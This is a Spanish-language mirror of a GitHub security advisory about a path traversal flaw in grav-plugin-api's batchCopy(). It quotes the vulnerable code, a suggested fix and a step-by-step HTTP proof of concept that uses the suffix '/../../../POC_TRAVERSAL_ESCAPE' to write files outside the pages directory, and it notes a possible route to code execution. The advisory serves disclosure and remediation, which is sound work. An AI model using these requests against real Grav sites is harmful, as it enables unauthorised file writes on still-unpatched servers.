GHSA-G6J3-8JV9-CH5F
Path Traversal in grav-plugin-api PagesController::batchCopy()
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-G6J3-8JV9-CH5F divulgada · CVSS 7.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
An incomplete fix for GHSA-qjq4-jp55-4mx2 allows any authenticated user with `api.pages.write` permission (editor-level, not super-admin) to write attacker-controlled page content and existing page media to attacker-chosen filesystem locations writable by the web server process, via path traversal in the `suffix` parameter of `PagesController::batchCopy()`.
Details
Package: getgrav/grav-plugin-api
Confirmed affected: 1.0.0-beta.10 through 1.0.13 (current latest)
CWE: CWE-22 (Path Traversal) · CWE-73 (External Control of File Name or Path)
CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L — 7.1 (High)
The v1.0.10 fix for GHSA-qjq4-jp55-4mx2 (commit `8fe7964`) hardened `move()` with slug validation that rejects `/`, `\`, `..`, and null bytes. However, the same validation was not applied to `batchCopy()`, which accepts a user-controlled `suffix` parameter via `POST /api/v1/pages/batch`.
Vulnerable code — `batchCopy()` in `classes/Api/Controllers/PagesController.php` (lines 2061–2080, v1.0.13):
private function batchCopy(PageInterface $page, array $options): void
{
$destParent = $options['destination'] ?? self::structuralParentRoute($page);
$suffix = $options['suffix'] ?? '-copy'; // ← user input, NO validation
$destSlug = $page->slug() . $suffix; // ← direct concatenation
// ... parent path resolution ...
$destPath = $destParentPath . '/' . $destSlug; // ← used as filesystem path
if (is_dir($destPath)) {
throw new ValidationException("...");
}
Folder::copy($page->path(), $destPath); // ← writes to arbitrary location
}`Folder::copy()` internally calls `mkdir($target, 0777, true)`. PHP's `mkdir()` with the recursive flag resolves `..` in the path, so a suffix like `/../../../ESCAPE` traverses out of `user/pages/`.
Compare with the patched `move()` (lines 786–800, GHSA-qjq4-jp55-4mx2 fix):
$rawSlug = $body['slug'] ?? $page->slug();
if (!is_string($rawSlug)
|| preg_match('#[/\\\\]#', $rawSlug)
|| strpos($rawSlug, '..') !== false
|| strpbrk($rawSlug, "\0") !== false) {
throw new ValidationException('Invalid slug: must be a single path segment.');
}The comment in the fix explicitly describes the exact attack vector that `batchCopy()` still allows.
Version confirmation: The vulnerable `suffix` handling is identical between v1.0.0-beta.10 and v1.0.13. Verified via `git diff`:
- $destParent = $options['destination'] ?? dirname($page->route());
+ $destParent = $options['destination'] ?? self::structuralParentRoute($page);
$suffix = $options['suffix'] ?? '-copy'; # ← unchanged, still unvalidatedAccess requirements:
| Requirement | Value |
|------------|-------|
| Authentication | Required — JWT token or API key |
| Minimum permission | `api.pages.write` |
| Super-admin required? | No |
`api.pages.write` is a content-level permission, not a super-admin gate. The plugin's test suite models this as an "editors" role (`tests/Unit/PermissionResolverTest.php`, lines 36–45), and `api.yaml` (line 67) lists it in the demo writable permissions.
Write-primitive constraints:
- The destination directory must not already exist (`is_dir()` check)
- The markdown file is always named after the page template (e.g. `default.md`) — only media filenames are attacker-controlled
- `Folder::copy()` creates a new directory; it does not overwrite existing files
Note on `copy()` and `create()`: These methods also lack traversal validation, but are not independently exploitable because `routeBasename()`/`basename()` collapses multi-segment traversals before the value reaches the filesystem.
PoC
Environment: Grav CMS 2.0.0-beta.1 + grav-plugin-api 1.0.0-beta.10 (Docker). Vulnerable code verified identical in 1.0.13 via git diff.
Step 1 — Authenticate:
POST /api/v1/auth/token
Content-Type: application/json
{"username": "<user-with-api.pages.write>", "password": "<password>"}Step 2 — Create a source page:
POST /api/v1/pages
Content-Type: application/json
Authorization: Bearer <token>
{
"route": "/poc-traversal-test",
"title": "PoC Traversal",
"template": "default",
"content": "CVE_POC_TRAVERSAL_PROOF"
}Step 3 — Trigger batch copy with traversal suffix:
POST /api/v1/pages/batch
Content-Type: application/json
Authorization: Bearer <token>
{
"operation": "copy",
"routes": ["/poc-traversal-test"],
"options": {
"suffix": "/../../../POC_TRAVERSAL_ESCAPE"
}
}Step 4 — Server response (200 OK):
{
"data": {
"operation": "copy",
"results": [{"route": "/poc-traversal-test", "status": "success"}],
"total": 1, "successful": 1, "failed": 0
}
}Step 5 — Verify file escape:
$ ls -la /var/www/html/POC_TRAVERSAL_ESCAPE/
-rw-r--r-- 1 www-data www-data 72 Jul 30 02:06 default.md
$ cat /var/www/html/POC_TRAVERSAL_ESCAPE/default.md
---
title: 'PoC Traversal Source'
---
CVE_POC_BATCHCOPY_TRAVERSAL_PROOF`default.md` was written to `/var/www/html/POC_TRAVERSAL_ESCAPE/` — three directories above the intended `user/pages/` directory (`/var/www/html/user/pages/`).
Automated PoC: A self-contained Python script (`poc_batchcopy_traversal.py`) is attached. No external dependencies — uses only Python stdlib.
python poc_batchcopy_traversal.py --url http://target:8888 --user <user> --pass '<pass>'Suggested fix:
private function assertSinglePathSegment(mixed $value, string $field): string
{
if (!is_string($value)
|| $value === ''
|| preg_match('#[/\\\\]#', $value)
|| str_contains($value, '..')
|| str_contains($value, "\0")) {
throw new ValidationException(
"Invalid {$field}: must be a single path segment."
);
}
return $value;
}Applied in `batchCopy()`:
$suffix = $options['suffix'] ?? '-copy';
$this->assertSinglePathSegment($suffix, 'suffix');The existing `move()` inline validation can also migrate to this shared helper for consistency. The vendor may also consider validating raw slug and route inputs before normalization in `copy()` and `create()` as defense-in-depth.
Impact
Integrity (High): An authenticated user with editor-level permissions (`api.pages.write`) can create arbitrary directories and write files (page markdown + attached media) to any location writable by the web server process, escaping the intended `user/pages/` content boundary.
Availability (Low): Disk exhaustion via repeated batch copies; directory creation in locations that disrupt other services.
Confidentiality (None): The copied content is attacker-controlled, not leaked server data.
CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L = 7.1 (High). This matches the vendor-assigned vector for the related `move()` vulnerability (GHSA-qjq4-jp55-4mx2).
Who is impacted: Grav CMS deployments using `grav-plugin-api` that grant `api.pages.write` to users who are trusted to manage page content but are not intended to have arbitrary filesystem write access. The vulnerability is exploitable from v1.0.0-beta.10 through 1.0.13 (current latest).
Note on RCE potential: `Folder::copy()` copies all media attached to the source page. On servers whose PHP handler maps additional extensions such as `.pht` to PHP execution, and where the attacker also holds `api.media.write`, copying such a file into a web-accessible location could result in remote code execution. This was not demonstrated in the tested environment, whose handler only matched `\.php$`.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistgetgrav/grav-plugin-api |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/getgrav/grav/security/advisories/GHSA-g6j3-8jv9-ch5fLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
